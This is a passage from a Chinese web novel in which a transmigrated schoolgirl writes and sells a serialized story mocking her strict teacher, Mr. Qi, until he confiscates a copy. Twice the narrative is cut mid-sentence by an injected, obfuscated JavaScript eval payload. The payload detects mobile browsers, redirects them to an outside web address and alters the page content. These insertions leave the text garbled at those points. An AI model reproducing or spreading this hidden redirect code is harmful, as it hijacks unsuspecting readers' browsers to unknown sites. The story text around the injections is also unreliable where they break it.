这是她来到这个世界以来写的第一个故事,虽然对自己有信心,但还是想要听听别人的看法,而且如果傅如珩都说好,其他人肯定更加能够接受。 短短五页纸上面的剧情虽然比较简略,相比起完整的故事来说看起来更像一个框架,但是从短短的文字当中也能看出跌宕起伏。故事通顺流畅,文采斐然,虽然剧情看起来不符合实际,但是更让人接受,再加上了一点真实元素,很容易让人带入,就算放在市面上也并不输其他作品,如果不是主角是齐先生的话。 虽然早就知道盛秋阑的灵感来源是齐先生,但是真正看到故事的时候,他还是为她的大胆沉默了一下。 “这样才有看点嘛,而且又不是真的,我就算写一下也没关系。况且他这么对我们,我写的也没有很过分吧。”盛秋阑振振有词。 “那你打算怎么让他们来买?” 盛秋阑早已经想好了方法,她把目光转向后面的长孙胜。 正探着脑袋想看看盛秋阑到底在忙什么的长孙胜:…… 他吗? 32. 提前试阅 “……只见那齐先生双脚一滑,竟然就在门口跌倒了。坐在学堂当中的学生们互相看了一眼,默默从对方的眼中看出了计谋得逞的开心,他们看着狼狈地从地上爬起来的先生,那件每日穿在身上的青衫后面沾着水渍,就连常年不离身的戒尺也都划出去,离了好远。齐先生顾不上自己身上的狼狈,跑去捡戒尺,随后才进入到学堂当中。殊不知着只是计划当中的第一步,还有其他的事情等着他……” 长孙胜站在人最多的地方,绘声绘色地开始描述场景,甚至还能配上相应的动作,更加让人沉浸在故事当中。 听到他话音落下,原本睁着眼睛听得津津有味的人催促道:“然后呢然后呢?” “摔跤才第一步,后面岂不是会更加倒霉?” “而且学生也好厉害啊,竟然能够想出这种方法,虽然我还是不敢,但是听听就好开心。” 长孙胜才讲了个开头,就已经让他们全都开始好奇接下来的发展,盛秋阑站在远处观察着情况,非常满意面前的景象。 当初果然没有找错人。 早在提笔开始写这个故事之前,盛秋阑就已经想好要让长孙胜来讲解。文字虽然好看,但是要想要引起别人的兴趣,自然还是声音最好,等到后面把人的好奇心全都吊起来,再慢慢讲解接下来的发展,这样才能够让高潮变得更加引人期待。 长孙胜作为熟悉这群人的人,外加上他的性格,是最适合做这件事的人。 看着几乎大半的人都已经被吸引过来了,盛秋阑知道时机差不多了,她拿着稿子来到那群人面前:“剩下的故事在我这里,只是想要继续听下去,就不是免费的了。” 有了昨天的经验,有人非常上道地问:“需要多少?” “如果是这一卷的话,就是三两银子,但是如果长期订阅,我可以给你优惠到二两银子,整本下来只需要三十两,而且可以在我这边投稿接下来的发展,比如你想要有什么经历,我会酌情安排在里面。” 盛秋阑太知道怎么引起这群人的冲动了,毕竟全都是上辈子玩剩下的,为了促进消费,这种套路屡见不鲜,只是在这个世界当中,其他人还是第一次听到这个话术。听到她这样讲,自然会更加倾向于第二种方法。 看着还有一些人正在犹豫,她装作遗憾地说:“不过这个活动只有两天,明天之后如果还没有考虑好,就算买下整本书也需要四十五两银子了,所以需要快点考虑。” 班上动心的人更多了,一方面被这戛然而止的故事勾得心痒痒,但是另一方面,他们昨天才为了买笔画出一部分钱,还是有些心疼自己的小金库。 盛秋阑见他们皱着一张脸,知道这群人在纠结什么:“这样吧,明天中午还是这个时间,我可以再给你们透露一点,到时候再决定要不要买。” 如此一来,原本还在犹豫的人暗暗下了决断。 若是明日不感兴趣的话就不买了,如果想要的话活动还能到明天,到时候再买也不迟。 “怎么又延长了一天啊,我看到刚刚有些人都要掏钱了,结果后来听到这话不买了。”等不及回去,长孙胜问盛秋阑。 盛秋阑老神在在地坐在座位上,细化手中的框架:“不急,放长线钓大鱼,今天他们不买,明天肯定还是会买的,而且人会更多。” 她对自己的作品有信心,而且今天只是开头,到了明天就是她放下的第一个钩子,算是一个小高潮,到时候这群人肯定抓心挠肝想要知道后面的内容,买的人就会更多。 盛秋阑今天本就不打算卖出去,只是想要用这种方法来吸引其他人的注意。重头戏还是在明天。 按照现代的话术来说,这就是预热,先把别人的好奇心给吊起来,才能够更好地展示商品。 到了第二日的中午,长孙胜还没有来得及说话,周围已经自发性地围了一圈人,全都是昨日听他讲故事的。 “后面是什么?快讲快讲。” “我昨天上课都没好好上,晚上睡觉前都在想。” 长孙胜昨天就已经看完了全部内容,光是看看他就知道盛秋阑这次的计划一定能够成功,昨天的开头只是一个开胃菜,到了后面更加不能舍弃了,这群人自以为给自己多了点机会,实际上正中下怀。 他清了清嗓子:“齐先生把戒指往讲台上面一拍,那响声足够穿透到外面,但是台下的学生却没有像之前那样惧怕,反而像是等待着什么好戏一样盯着他。” “他还没有感觉到什么异样,只见台上的戒尺居然突如其来的断掉了,变成了两半。齐先生惊愕地抓起掉下的一半戒尺,看着那断口只见断口非常整齐,里面的纤维全部露出来,一看就不是突然断掉的。” “这把檀木戒尺是他先前向别人借的,造价高昂,就是想要在学生面前撑气势,因为这个他端着笑脸奉承了整整一个月,甚至还因此把自己一个月的薪水也给交上去了,只因为那一位神秘人告诉他,如果干的好的话,能够得到三倍的报酬,而且不用担心会受到责罚。” “齐先生原本也是不相信那位神秘人,毕竟来人身份不明。这份工作是他托人求来的,好不容易才找到一份稳定的薪水,如果就因为一面之言得罪了班上面的学生,他才不知道上哪里去哭。没想到神秘人一开始也没想让他相信,他先给了齐先生一个任务,让他把纸条上面的内容当做作业布置下去。” “……齐先生尝到甜头之后,彻底相信了神秘人的话。眼见着这把戒尺断掉了,他六神无主,就连上课都是精神恍惚,还因此写了错字,被台下的学生讥笑了一番。一下了课,他连作业都没有来得及布置,步履匆忙地走到外面,想要用以前的方法来联系那位戴着面具、看不清面孔的男人。” “因为紧张,齐先生感觉时间一分一秒地流逝,就在他精神崩溃,想要去求饶道歉的时候,熟悉的黑袍出现在面前……” 就在其他人满眼渴求地看着长孙胜,等着他说出接下来的剧情发展的时候,长孙胜突然闭了嘴。 “接下来是什么?那位神秘人是好的还是坏的?” “有没有可能这也是计划中的一部分,那位神秘人其实是帮助学生的。” 看见长孙胜住了嘴,有性急的人甚至想要上前去拉他。 长孙胜在嘴巴面前打了一个叉,满脸神秘的说:“想知道接下来是什么样子,就要你们自己掏钱了。” 故事刚好卡在了这种关键节点,不上不下地梗在心间,抓耳挠腮想要知道接下来的内容。 有人受不了这种折磨,当即就掏钱:“我要买一本!” 正如盛秋阑昨天所预料的那样,昨天还只有三五个人表现出了想要买的意思,经过今天,几乎半数的人都已经掏出钱来了,剩下的人也是摇摆不定的样子。 她看着众人手上白花花的银子,脸都要笑裂了,指挥着身后的傅如珩:“快把荷包拿出来。” 盛秋兰昨天预料到了今日的情况,联想到上次做毛笔时荷包满满的样子,几乎要撑不下银子。 这种烦恼请再多来点。 不过她还是早已经让人准备好了更大一点的荷包,足够装下所有人的钱,甚至还有大半的空余。 “来来来,都来这边登记,一手交钱一手交书。” 她桌子上不知何时已经叠了一摞书,封面煞有介事的印着标题《复仇计划1》。 按理说昨天盛秋阑手写出来的书,就算能联系到印刷坊,期间也需要等待几天时间,不过有了林辞殊这个外挂,这种担心自然不会生效。 盛秋阑也是昨天才知道林辞殊家中竟然还在京城里面和别人合作了几间书铺,虽然表面上没有挂名,但实际上都有出钱,都是鼎鼎有名的联合书铺,一家可以占据两三间店面,还有京城里面每一家印刷坊,都能说出个关系来。 简直是上天派下来帮助她的。 盛秋阑原本只是想要靠这种方式来打开市场,为她以后写狗血小说铺路,毕竟这群人以后可能都是她的销售受众,没想到竟然因此还得到了这种惊喜。 “太好了!” 昨天一下学他们就跟着林辞殊来到了她所认识的一间印刷坊,这间作坊看上去并不起眼,但是印刷质量不差,而且比较便宜。 作坊的老板一看就认识林辞殊,看到一行四人赶紧迎上去,听说盛秋阑是林辞殊的朋友之后,更是二话不说想要帮她免费印刷。 “要不是老爷当初帮我们,现在我们一家老小应该都要流落街头了,哪能还能在京城里面安家和温饱。既然是林小姐的朋友,自然是不收钱的。” 盛秋阑却没有答应,对方以此为生计,她自然不能白白收别人的恩惠,而且之后也有可能需要来这里印刷,在坚持之下还是给了钱。 老板接过她的稿子,看了一眼,当即就说包在他身上:“大约一刻钟就能好。” 作坊选址不在繁华的大街上,店铺面积也不算大,里面的工具却是应有尽有,很快就新鲜出炉了几十份。 盛秋阑指挥跟在旁边的侍卫把本子拿到马车上,一摞高高的纸占据了半边座位,她坐在另外半边,努力扶着上面的本子不要往下掉。 “等本小姐明日拿了钱,就请你们出去吃大餐。” 保险起见,她没有印很多份,交了钱的人纷纷来这边领取自己的本子,原本几乎要把人埋进去的本子很快就少了起来,只剩下薄薄一叠。 现场的人和盛秋阑原本想象的差不多,只余下了寥寥两三本,拿到本子的人兴奋地开始看接下来的剧情发展,剩余没有交钱的人还是在一边观望着,只是听见他们讨论的内容,不免动摇起来。 有人想偷偷去套近乎,却被人遮掩起来,心直口快道:“这是我自己买的,你想要的话也去买。” 联想到昨天盛秋阑口中的优惠政策,还真有人因此来到她的桌子面前买下一本。 盛秋阑笑眯眯的把最后一本递给他,望着自己面前的荷包:“今日现货已经没了,不过还可以预定,今天预定的话依旧能够享受优惠,明日开始就没有了。” 有几个原本还在犹豫的人听到这番话,终究是抵抗不住内心的诱惑,来到她面前:“怎么预定?” “在旁边登记姓名,今天交钱,明天就能够拿到。” 由此一来,荷包当中又多出了好几两银子。 确定没有了再过来的人,盛秋阑把荷包一拉,单手掂了掂。 哈哈哈哈真是太重了。 这次其他几个人都出了不少力,盛秋阑当然没有忘记昨天说过的话,非常大方地问:“今儿想吃什么,我请客。” “醉柳楼早已经吃腻了,听说城中新开了一家酒楼好像正在搞活动,我们去那边吧。” 盛秋阑有了先前的经验,现在听到哪家酒楼搞活动,心中总会突突跳一下,不过这是普通经销方式,她倒也不会因此留下心理阴影:“行啊,那就去那家。” 今日正午休息,班中异常安静。与平常不同的是,他们没有趴在桌上休息,反而精神磊落地坐在各自的座位面前,桌子上面摆着相同的白色本子,与平时背个书就唉声叹气的样子格外不同。 创造这幅盛况的盛秋阑反而趴在桌子上睡得香甜,听说她中午要午睡,迎春特地给她准备了一个柔软的枕头,放在桌子上刚刚好,还专门留出了放手臂的位置,就算一觉醒来也不会觉得麻。 下午的课马上就要开始了,盛秋阑从桌子上起身,神清气爽地开始准备接下需要的课本,一转头就看见几乎全班都埋头看着面前的书,脸上还绽放着奇异的笑容,有人看着看着笑出声来,全然一副沉浸其中的样子。 果然,这种逆风翻盘的戏码放在哪里都是受人喜欢的,尤其是当主角变成大家共同讨厌的人之后,更加让人有代入感。 只是这毕竟是仙术,若是被发现了肯定会有一点麻烦,盛秋阑还想要多赚点钱,并不想要才第一卷就被发现。 “上课的时候就别看了,不然被先生收上去了,后续可能就写不了了。”看着他们这个样子,明显是没有看过瘾,盛秋阑先行提醒道。 听到这话,就算原本还想要在课上偷偷摸摸看下去的人也乖乖把小说放进去了,只是在先生还没有来之前,还是抓紧每分每秒垂着头看着书上的内容,一面非常谨慎地把书放在桌痛里面,只余下一小部分,一旦见势不对就能够放进去。 盛秋阑看着他们已经无师自通学会了方法,颇觉欣慰。 不愧是她的同床,竟然如此上道。 销售群体已经搞定了,剩下需要解决的就是接下来的存稿问题,不过盛秋阑现在没有其他烦恼,可以全身心投入到写稿当中,外加上灵感迸发,很快就能够写完下一卷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“再便宜点吧,一百文怎么样?” “哎呀一百文实在是太低了,看你年纪小,我给你一百四十文,不能再少了。” 盛秋阑发挥了自己一贯的卖乖能力:“阿婆你就再低一点嘛,你看我们这么多人,以后还能够介绍同窗过来。” 卖风扇的阿婆犹豫了一会儿:“一百二十文,真的不能再少了。” “我们买四个,就四百五十文怎么样,阿婆早点卖完也能回去休息。” “哎行吧行吧,你这女娃儿,没想到这么会说话。” 长孙胜和林辞殊也对这个新东西挺感兴趣,原本在阿婆说第一句话的时候就想要掏钱了,被盛秋阑不动声色地制止之后,看着她一番讨价还价,回过神来,手上就已经多了一个木质的摇杆风扇。 他们从小锦衣玉食长大,就算有时候花超了零花钱,也不会饿着,何时见过这种技术,当即佩服地五体投地。 “太厉害了,之后有什么东西能不能帮我也这样讲价。” “准了。” 林辞殊还有一些顾虑,她看着手中精巧的风扇:“那个阿婆不会亏本吗?” “放心,如果真的亏本,那个阿婆就不会卖给我们了。” 手上的风扇虽然创意精巧,但是盛秋阑早已经观察过,其中的材料和技术却没有那么大的难度,制作也略显粗糙,多给一些时间其他店铺也能创造出差不多的,就是抢占了市场的先机而已,四百五十文就已经差不多了。 说话之间,酒楼里面的小二已经等在门口:“几位客官有预定吗?” “有的,月满堂。”盛秋阑早已经事先说好了位置,就在酒楼二楼的包房里面,靠着窗的包房还能够看到外面的景观。 “好嘞,四位楼上请。”小二满面笑容地把他们带到了上面的包房当中,中心有一张长方形的桌子。月满堂房如其名,在一边大开着一闪窗户,正对着窗户的就是一轮月亮,银白的月光照在房间的地上,洒下一地月色。 这一家酒楼不像醉柳楼一般有特色菜式,大多是京城里面的普通菜品,但它本就是因为地段上佳出名,外加上味道不差,所以才会有这么多顾客。 大抵是为了呼应包房的名称,房间里面配备的筷子材质也有所不同,拿到手的触感温润冰凉,还带着一点重量,如同天上月亮带给人的感觉,冷冷清清。 在等待上菜的功夫,盛秋阑来到窗户面前,一低头就看见了下面静静流淌的河流。酒楼临河而建,此时在夜晚变得深沉静谧,几乎看不见上面的波澜,在两旁的映照下闪烁着光芒,仿佛星星倒映在其中。 “几位客官,菜上齐了,请慢用。”小二把最后一盘菜放在桌面上。 桌子上的菜大多是京城特色,还有一些酒楼自发创新的菜式,盛秋阑点的分量不多不少,足够吃饱但也不会浪费。 吃饱喝足之后,几个人靠在椅背上休息,背后贴心地放上了靠枕,长孙胜还对盛秋阑所说的下一卷念念不忘。 “接下来是什么发展,你快跟我透露一下吧。” 虽然已经比其他人提前看完了这一卷,但盛秋阑很懂得如何调动情绪,即便一个阶段结束也不会让人厌倦,反而更加期待接下来的剧情。 盛秋阑冲他摆摆手,做保密的样子:“马上你就知道了。” 谈话之间,外面突然传来一阵阵的欢呼声,透过大开的窗户,清晰地传到屋内。 盛秋阑率先反应过来,跑到窗户边,其他三个人也跟着一起走过来。窗户很大,足够让四个人站着而不显得拥挤。 原本平静的湖面上泛起了一圈圈的波澜,两旁被挂上了一盏盏灯笼,围着河岸的栏杆上挤满了人,脸上都挂着兴奋与好奇,站在后面的围观群众踮着脚想要往前张望。 “是不是马上要来了?” “快了快了,你看那边有船,应当就在船上。” 楼下人声嘈杂,交谈声细数传到上面,盛秋阑捕捉到关键词,朝着他们张望的方向望去。 他们站在二楼,有着先天的视野优势,不需要和别人去挤,也能够一览无余底下的景色。 一眼,盛秋阑就捕捉到了那群人所说的船是什么,不远处几艘装潢华丽的船舫慢悠悠行驶在河面上,经过之处都传来一声声欢呼。 她先前没有见过这种场面,有些疑惑的开口:“这是在干什么?” 长孙胜这时候发挥了他见多识广的作用:“看样子应该是舫宴。” 33. 暴露 寻常人家租不起这么华丽的船坊,世家小姐出门又不会如此大张旗鼓,这么多人围观,由此算来就只有青楼了。 青楼有时候会为了宣传自家招牌举办这些活动,租几艘画舫,让自家歌姬舞姬站在舫上表演,招揽顾客,也是一般新开的青楼常用的宣传手段。 “看样子还有不少人感兴趣。” 美人不管在哪总是受欢迎的,首艘船率先行进到这一处水域,盛秋阑眼尖地看见船头站着一位身穿轻纱的舞姬,身姿婀娜,舞蹈动作轻缓,一举一动间却格外牵动心弦。 她的脸上覆着一层薄纱,遮住了半张脸,薄纱的最下面一圈缀着铃铛,随着舞蹈动作轻轻晃动,传来悦耳的铃声。 “是九娘!” 这位九娘显然名气很大,她刚刚进入眼帘,周围就响起了一阵阵欢呼和呐喊,来得晚的人争着向前靠拢,想要目睹一番这位美人的美貌。 她脚下的画舫异常华丽,朱红底漆衬着描金缠枝莲纹,在两边的灯火映照下灼灼发光,船舷雕花围栏中镶着琉璃,在灯火之下澄光映彩,舱顶盖着布垂着米白色的流苏,随着行驶轻轻晃动。船舱当中亮着灯烛,纱帘上绣着精美的百鸟图,影影绰绰看不清舱内的内容。 小二这时候进来问他们还有没有需要添加的菜,盛秋阑顺嘴问道:“这位九娘是什么来头?” 小二明显也是听过九娘的名声的,都不需要过多描述就滔滔不绝地讲起来:“这位九娘可是凝香阁的头牌,好多人为她一掷千金只为请她舞一曲。不过九娘她性子清高,对顾客还有要求,没有入眼的不接,甚至有些官人都被拒了,即便这样还是追求人不断。” “为何?” “九娘当初一曲惊鸿舞惊艳四座,甚至连咱们京城最大的鎏金楼都下手想要让她来店里当头牌,只不过被她拒绝了,选了一个名气不那么大的凝香阁。” 凝香阁得了这么大一个宝贝,自然是喜不自胜,它原本只是京城中寻常的一间青楼因为九娘才变的生意兴隆起来,也清楚自己是因为谁才有如今的地位,把九娘捧得很高,竟也纵容她挑拣顾客的习惯。 “九娘是突然才在京城的?有人知道她原来是何处?” 小二摇摇头:“没人说起这个,当初是鎏金楼连同其他青楼一起,办了个歌舞秀,当时说是不限身份,但大多数都是青楼里面谋生的女子,九娘形单影只找上来,在众人面前表演了惊鸿舞,只此一舞就惊艳四座,倒是没有人提起过她的身世,先前也从未见过,大抵是从别的地方来到京城谋生的。” 他仿佛想起了什么,神秘兮兮地压低了声音:“只是没有听说这位九娘有什么亲眷,来时也不是其他人那么落魄,也不知道她为何要寻这个工作。” 大多女孩来到青楼无非是为了拿钱救病,或是需要赚钱养家,可这位九娘看起来哪哪都不沾,却目标明确地来到青楼。 就在他们说话的功夫,九娘的画舫已经渐渐离开了视野往前面行驶。后面接二连三来了许多船舫,虽然比不上九娘的画舫那么精致,但也个个装饰不凡。 小二在这里工作,见过形形色色的客人,在交谈之中也得知过不少常人不知道的消息。 他乐得在这里聊天,也不急着出去,越说越起劲:“咱们家临着这河,每日都可热闹了,今天碰巧有青楼舫宴,到了节日时人就更多了,还可以放河灯。那盛况,从街的东头一直挤到西头,这二楼包厢也总是提前好几个月就订满了,就是为了争个好位置。” 盛秋阑来了兴致:“什么时候可以放灯?” “中元、元宵或是七夕的时候,门口总有卖灯的,中秋节也有人在这包厢与家人团圆赏月。” “那现在还有位置吗?” “中元和七夕没了,元宵还有呢,客官要是想要,位置小的可以给您留着。” 盛秋阑转过头望向其他几人,见他们都点头,爽快地说:“那就元宵吧。” “好嘞。” 几人欣赏了一下画舫中的歌舞,想到明天还要上学,没有多留,各自回家了。 盛秋阑看着傅傅如珩走在旁边,临上车时才想到小二口中的某个节日,心念一动。 中元节吗? . 盛秋阑第二日照常来到讲堂,一进来就被全班人的黑眼圈吓到了。 “不是都有毛笔了吗,怎么没两天又卷土重来了。” 虽说底下挂着青黑,但是他们的眼神里面却散发着奇异的光,半点没有萎靡不振的样子。 长孙胜看着他们的样子,有一瞬间感觉看到了自己先前的样貌:“应该是因为你。” “因为我?” 盛秋兰指了指自己,满眼都是光天化日之下,不要污人清白的震惊,她可什么都没干。 虽然原本她是说要把这些同窗榨干的,不过榨干的也只是他们的钱包,对这群猫头鹰可不感兴趣。 “我先前拿到你那份稿子的时候,也是连夜看完的。”长孙胜指了指旁边的人,“就和他们一个样。” 谁说世上没有真正的感同身受? 盛秋兰知道了原因,哦了一声,转头就看到那一群猫头鹰全都看向了她。 他们也不知道盯了多久,看到盛秋阑对上眼神,满眼放光,配上那一副一个晚上都没有睡觉的样子,属实把她吓了一跳。 “怎、怎么了?” “这一卷我们看完了,下一卷什么时候出啊?” 盛秋阑看着他们手里面的纸,虽然才一卷,但也有足足几十张,这些人平时读个五页书就需要两天,没想到这些居然一个晚上就看完了。 望着如饥似渴的人,盛秋阑这才察觉到有哪处疏漏了。 早知道就不说这是自己写的了,虽说最后可能也瞒不了多久,但总归比现在当面来催更好。 以前还隔着一层网络,望着底下嗷嗷待哺的读者,盛秋阑还可以两眼一闭装瞎,现在抬头不见低头见,几乎要上演真人版催更。 她以前也算个勤奋的,只要一开文就没有请过假,能够保证天天更新,但也禁不住这么催。 按照这群人的速度,他们的钱包还没有被榨干,她先被榨干了。 “下一卷应当是下周发。” “啊。”周围传出了失望的叹息。 “我加钱好不好,能不能快些给我?” “我也加钱,我也要。” 一时之间,数不清的银子放在桌子上,很快就排了一摞。 盛秋阑都没有来得及说话,就被钱给淹没了,望着面前闪着光的财富,她断然说不出“不行”二字。 来吧,尽情地榨干我吧。 “三天之后给你们。” 这已经是盛秋阑每天晚上都拼命写的最快进程了。 她以迅雷不及掩耳之势把桌子上的银子全部都扫到荷包当中,转眼之间,荷包里面的钱已经到了半数。 能够提前半周,其他人虽然还有点不甘心,但还是放过了盛秋阑。 “你真的可以?”傅如珩在旁边低声问。 “放心,我有分寸。” 一周原本就只是盛秋阑为了保险起见说的时间,实际应该四五天就能够完成,余下的时间还能多写一些存稿。 现在没有键盘,所有的稿子都只能手写,速度慢了不少,但是如果稍稍赶些,三天也能够写完。 目前学的知识虽然与现代有所不同,但毕竟年龄摆在这里,盛秋阑看一眼书就能够掌握,还可以顺便思考一下接下来的剧情。 三日之后,盛秋阑就拿着从印刷房里面新鲜印出来的书来到了讲堂当中,其他人早已经等在那边望眼欲穿,纷纷上来哄抢。 “我来。” “我要一本。” 盛秋阑招呼着管理秩序:“别挤,数量是够的,全部都有。” 有了上次的经验,这次分发的速度快了很多,在先生到来之前,讲堂已经重新恢复了原先的样子,每个人都坐在自己的位置上,空气中却飘着浮躁的因子。 齐先生往常走进讲堂,底下的人全部都低着头不肯与他对视,但这几天他却感觉到了反常,下面的人好像有了某种共识,一见到他就开始互相交换眼神,偶尔露出一抹笑,偏偏他还不知道这是什么意思。 他下意识觉得他们有事情瞒着他,可是检查了每日的作业,却没能够发现端倪。 手中的戒尺比先前更加油润光亮,是他来这边教书前特地购置的,效果也和想象中一样,刚开学就震慑住了这群顽劣儿童。 原本他一拍桌子总能够让人安静下来,可渐渐的他却发现这个方法不管用了。虽然这群小崽子还是快速低下了头,但脸上却少了畏惧,带着某种心照不宣的看好戏神情。 齐先生预感有什么事情超出了他的控制,却抓不住根源在哪。干瘦的手紧紧抓着戒尺,想要以此作为支柱,目光在台下一堆低着的头里面徘徊着,最终定格在盛秋阑上。 女孩这几天都很听话,功课也看不出疏漏,但兴许是第一天带来的印象太过深刻,齐先生直觉问题出在她身上,只是他没有理由把事情推在盛秋阑头上,只能够狐疑地打量了好一会儿,良久才移开眼神。 盛秋阑还在想着接下来的小说内容,不知道自己被齐先生盯上了,不过就算知道了她也不会有所顾忌,毕竟手稿已经被她藏起来了,就算怀疑也没有证据。 小说的进程已经到了三分之一,马上就会来到高潮。虽然盛秋阑脑海中已经有了事情发展的轮廓,但毕竟是自己在这个世界赚的第一桶金,她还是决定给自己这些顾客们一些参与感,计划着过几天开始征集资料,说不定能够得到一些新灵感。 自从上次见识到这群富家公子和小姐们的“钞能力”之后,盛秋阑为了避免上演现实版追着要饭,马不停蹄地开始写下一卷,初稿已经定下来了,只需要再稍微修缮一下就能够下印了。 想到这里,盛秋阑神清气爽,只是这还只是赚钱的第一步,毕竟齐先生这个话题只能够用来吸引同窗,若是做旁人也许就没有那么感兴趣了,而且她最擅长的领域还是狗血言情文,这种逆袭打脸情节虽然写起来快,但多了就腻了,盛秋阑清楚自己的水平在哪,也不打算再这个领域里面长待。 她的目标是全京城的人,光光这点钱还不能够让她带着全家跑到江南安置家业。 毕竟是她把人拐走的,总不能让人过得比现在更差。 盛秋阑先前就已经算过了,路上的船费和车费,在江南购置房子还需要一大笔钱,更何况不能坐吃山空,这些都需要长久打算。 这么一看,她赚的这些银子就不算什么了。 盛秋阑幽幽地叹了口气,赚钱不易,养一大家子更是难。 有了这种紧迫感,她今天晚上又熬了一个夜,对着稿子删删减减,定下来了最终版。 她已经逐渐找回了先前的状态,虽然熬夜,但是第二天精神还不错,只是坐在餐桌面前吃早膳的时候,贺兰谨多问了一句:“这几日功课可还繁重?” 盛秋阑嘴里塞着一个馒头,暂且空不出来回答,虽然齐先生的功课还是繁重,但是对于有了神器的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204337|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她来说耗费的时间也不长。 “之前听闻你们新来的先生功课很多,且都是些枯燥机械的抄写任务。”贺兰谨面上露出了几分不赞同,“若是功课太多,不做也罢。” 盛秋阑终于把嘴里面的食物咽下去,她原本想要如实相告,听闻这话改了主意。 这不就是个告状的好机会吗,不亏她当时写到这么晚。 她把嘴里面的馒头咽下去,刻意垂下头:“是啊,那位齐先生的功课好多,每日都是抄写,我手都酸了。” 盛秋阑从大脑中回忆出课上讲的内容,终于唵零星的记忆当中拼凑出大概:“对了,他还教我们文章结构,说是……” 贺兰谨越听眉头皱得越紧,她不是只知道女红的闺中女儿,作为当初闻名的才女,她自然听出了这套方法中的沉疴迂腐,全然没有一点用处,反而将人的心气给磨灭了。 “这位齐先生是怎么到学堂里面来的?” “原先的孙先生年纪大了告老还乡,齐先生就上来了。”盛秋阑目前只知道这些信息。 贺兰谨沉吟片刻:“既如此,我到时候去探听一番,若是这位齐先生学识不够,那就换了罢。” 一座学舍里面的先生当然不是说换就能换,跟何况其他人也同样是京城有地位的人,但是贺兰谨说的轻飘飘,好像只是随口一句话。 盛秋阑点到为止,见贺兰谨这样说,装作乖巧地咽下盘子当中最后一点食物:“娘亲,我去上学啦!” 望着女孩欢快的背影,贺兰谨露出浅笑,待到看不见人,她用一旁的丝帕擦了擦嘴,对一旁的侍女说:“替我向祭酒第一份请柬。” 盛秋阑今日一来到讲堂,就开始实行昨天晚上的想法,其他人明显也对这种新奇的方式热情很高,纷纷写下来自己的点子,偷偷摸摸传过来。 盛秋阑随便翻看了几张,就被这群小崽子的脑洞给震惊到了。 没想到平时看起来浓眉大眼的,内心里居然是这种想法,如此一看,自己先前写的倒是过于保守了。 不过她还是剔除了特别过分的,还有一些看上去实在天马行空的想法,把剩下的整理起来,转而开始思考应该如何串联在一起。 自从递了纸条之后,班上人的热情明显比之前更高了,甚至开始故技重施,想要用砸钱的方法让盛秋阑快点写出来。 盛秋阑眼巴巴看着这些银子,只是她毕竟只有两只手,不可能在一晚上变出来,自然不能向当初那样承诺。 不过最后这些钱还是进了她的口袋,他们听到盛秋阑拒绝,还是非常爽快地放在她的桌子上,理由是前面写得太好看了,这是他们愿意给的。 这还说啥啊,她当然是只要写不死就往死里写。 古诗已经接近尾声,小说当中的齐先生几乎看不见最开始的嚣张样子,盛秋阑打算在末尾解开神秘人的身份,顺便将前面的一些伏笔收尾,也是因此,这一版要比前面更慢一些。 印刷坊主早已经在这一段时间的接触当中与盛秋阑熟识起来,因为作坊租金便宜,他给盛秋阑的价格也低,质量却不差。 按理说,盛秋阑在三日之后就能够把大结尾印刷出来,偏偏这个时候,意外出现了。 大抵是这段时间被这群人的反常弄得心神不宁,最后一节本来不是齐先生的课,但是他却突然来到了讲堂当中。 靠窗的人没有听见他的脚步声,正偷偷摸摸地把小说拿出来,没想到就此被抓了个现行。 “这是何物?” 那人本想把书拿回来,没想到齐先生一把夺过去。 这本书的封面简陋,一看就不是学堂里面规定的书籍,他大致翻了两三页,视线扫过一行行字,捏着本子的手不住地发抖,平常就紧紧皱着的眉毛,这下更是变成了一个大写的“川”。 他看到最后怒极,将书狠狠地拍在桌子上,原本装订好的书页都有几张因此脱落。 齐先生的语气中充斥着完全压抑不住的怒火:“学堂乃圣贤之地,竟然私藏闲书,书中还妄议师长,大逆不道,写成如此阴险之人。说,这是从何传出来的?” 众人早在一开始就被这个变故吓傻了,呆呆地坐在座位上看他发火,怒火的集中承受者更是脖颈一缩,完全说不出话来。 齐先生环视一圈:“有没有人说?” 班里面大多数人手中都有小说,被怒目扫过的人不自觉心虚起来,手藏在下面不住地捏着手指,眼睛飘向桌底,生怕自己也被发现。 四人桌更是明显,盛秋阑尚且端正坐着,后桌的两人却没有那么好的心态,担忧地望着她,就连一向冷静的傅如珩也开始看向旁边,毕竟如果这件事被追究下来,最后受罚的肯定是盛秋阑。 盛秋阑确实在看见齐先生手里拿着熟悉的本子时慌乱了一下,但后来又冷静下来,毕竟现在事已成定局,最后如何已经不是她能够控制的了。 况且就算被发现了,齐先生也不能那她怎么样。 这个时候盛秋阑才发现心理年龄大的好处,若是她真的是只有十三岁,现在应该已经控制不住自己情绪想要主动承认了,但是经历了风风雨雨之后,这点事情算什么,顶多被罚抄或是面壁思过。 何况上辈子这种情景见得多了,她也不是没有被发现过偷偷看小说,百般磨炼之下,已经练就了大心脏。 相比起来,其他人的反应太大了,盛秋阑还有闲心观察了一下周围的人,内心啧啧感叹。 果然她已经是个经历过社会摧残的老油条了,这个年纪看来天大的事情,其实也不过如此。 34. 惩罚 齐先生问了一圈,底下却鸦雀无声,所有人都低着头,不敢在这个时候出声。 刚刚匆匆一瞥,但是书中的内容却已经印在脑海中,里面不但写了他落魄时被学生捣乱,最后丢尽脸面的样子,最重要的是还有他与别人勾结,获得职位的秘密。 难道被发现了? 齐先生表面还在强壮冷静,看起来只是单纯因为学生看闲书而愤怒,内心却已经开始慌张起来。 他原先认识了学堂的学正,不过没有太多交集,若是贸然询问,对方肯定不会买账,但总归比其他没有门路的人好很多。 